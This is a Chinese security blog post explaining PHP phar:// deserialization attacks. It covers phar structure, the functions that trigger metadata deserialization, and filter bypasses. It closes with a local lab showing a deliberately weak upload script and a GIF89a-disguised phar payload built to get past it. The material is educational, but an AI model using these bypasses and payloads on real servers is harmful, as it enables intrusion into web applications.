phar扩展反序列化攻击面

2019年11月27日 0 作者 y1nhui

前言

在复现CVE-2019-6339时从知道创宇的文章中得知了stream wrapper于是干脆深入下去,得到了这篇文章。
stream wrapper的提出是源于2018年BlackHat大会上Sam Thomas分享的议题:It’s a PHP unserialization vulnerability Jim, but not as we know it(ps:这都9102年末了,我学的还是有些慢啊hhh)

内容

phar介绍

如果使用的是php5.3+版本,那么该后缀文件是默认开启支持的。
我尝试从php官方手册上直接获取phar的信息的,但是发现目前还没有汉化是纯英的,所以改为以国内博客资料为主,官方手册为辅

什么是phar

phar是php中类似jar的一种打包文件,它可以包括所有的可执行、可访问文件,也就是说可以将整个php应用程序放入“phar”(PHP归档文件)。它提供了一种将完整PHP应用程序分发到单个文件并通过该文件运行的方法。
比如我们创建了myapp.phar文件,然后可以写一个run.php文件include 这个phar文件然运行服务器。
而phar正是通过**stream wrapper*来实现运行整个应用的功能的。

phar的结构

MvhHqs.md.png

stub

phar的文件存根,是一个简单的php文件,最小的存根为:<?php __HALT_COMPILER();同时__HALT_COMPILER():也是存根必须有的,同时必须以其结尾。

phar manifest

phar的关键信息清单包含了压缩文件的权限、属性等信息,同时也会反序列化储存用户的meta-data(看到反序列化应该就猜到利用点是这个地方了吧)
Mv5pff.md.png

the file contents

即文件内容

signature

包含签名的phar位于加载器、清单与内容之后,将签名附加到phar归档文件的末尾。目前支持MD5与SHA1
Mv5ekq.md.png

demo

将php.ini的phar.readonly设置为off后写一个phar生成文件

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $o -> data = 'y1nhui';
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

访问后,可以看到生成了一个phar文件
MvzjBt.md.png
winhex打开看一看MxStUK.png
可见为序列化形式储存。
既然序列化了,那肯定是有反序列化了,而php一部分文件系统函数通过伪协议:phar://解析phar的时候都会把meta-data反序列化。
知道创宇的师傅测试后整理的一个受影响函数列表
MxCKC8.md.png
结果发现了include也受影响
写一个文件看看

<?php
class TestObject{
    function __destruct()
    {
        echo $this -> data;   
    }
}
include('phar://phar.phar');
?>

Mx9H9U.png
可见反序列化,这样我们就可在没有调用unserialize()的情况下反序列化。

利用

利用条件

1.phar文件可以上传至服务端
2.有可用魔术方法作为跳板
3.受影响函数参数可控,同时:/phar等特殊字符未被过滤

受影响的函数以及一些东西

上文已经给出了知道创宇的师傅总结的一些函数,但是zsx师傅测试后发现,除了与IO相关的函数,只要是调用了php_stream_opern_wrapper的函数都可以利用,于是在搜索PHP源码后可发现操作文件的touch也可触发。假设全部文件都可用的情况下回发现:

exif

  • exif_thumbnail
  • exif_imagetype

gd

  • imageloadfont
  • imagecreaterfrom***

hash

  • hash_hmac_file
  • hash_file
  • hash_update_file
  • md5_file
  • sha1_file

file/url

  • get_meta_tags
  • get_headers

standard

  • getimagesize
  • getimagesizefromstring

zip

$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');

Bzip/Gzip

当phar://被限制时,比如禁止字符串开头出现在php://时。
$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
$z = 'compress.zlib://phar:///home/sx/test.phar/test.txt';

结合其他协议

还是php://无法出现在开头,就干脆
php://filter/read=convert.base64-encode/resource=phar://phar.phar

MySql

mysql语句LOAD DATA LOCAL INFILE同样会触发php_stream_open_wrapper
在配置了

[mysqld]
local-infile=1
secure_file_priv=""

的情况下是可以的
###尝试利用

简单的测试

先写个文件上传,限制一下只能gif
upload.php

<?php

if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif'){
    echo "Upload:".$_FILES["file"]["name"]."</br>";
    echo "Type:".$_FILES["file"]["type"]."</br>";
    echo "Temp file:".$_FILES["file"]["tmp_name"]."</br>";

    if($_FILES["file"]["error"]!=0){
        echo "Error".$_FILES["file"]["error"];
    }

    if(file_exists("file/".$_FILES["file"]["name"])){
        echo "It is already";
    }
    else{
        move_uploaded_file($_FILES["file"]["tmp_name"], "file/".$_FILES["file"]["name"]);
        echo "upload to : file/".$_FILES["file"]["name"];
    }
}

else{
    echo "Invalid file,only gif!";
}
?>

upload.heml

<!DOCTYPE html>
<heda>
    <meta charset="utf-8">
    <title>这是一次phar测试</title>
</heda>
<body>
    <form action="./upload.php" method="post" enctype="multipart/form-data">
        <input type="file" name="file"/>
        <input type="submit" name="upload"/>
    </form>
</body>

写一个运用了魔术方法的
index.php

<?php


class TestObject {
    public $name;

    function __destruct()
    {
        echo $this -> name;
    }
}
if ($_GET["file"]){
    file_exists($_GET["file"]);
}


?>

为了绕过gif,写一个gif89a

<?php
class TestObject {
    }
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $o -> data='phpinfo();'; //控制TestObject中的data为phpinfo()。
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

访问,生成phar.phar
将生成phar.phar改为gif后缀
QCrT3D.png
上传
QCsGUx.md.png
访问http://localhost/test/index.php?file=phar://file/phar.gif
QCc1bj.md.png

写在后面

说是phar扩展反序列化攻击,不需要调用unserialize(),其实是因为函数的源码里面内置了一个反序列化的过程hhh
参考文献:
https://paper.seebug.org/680/
https://www.php.net/phar
PHP反序列化进阶学习与总结
https://blog.zsxsoft.com/post/38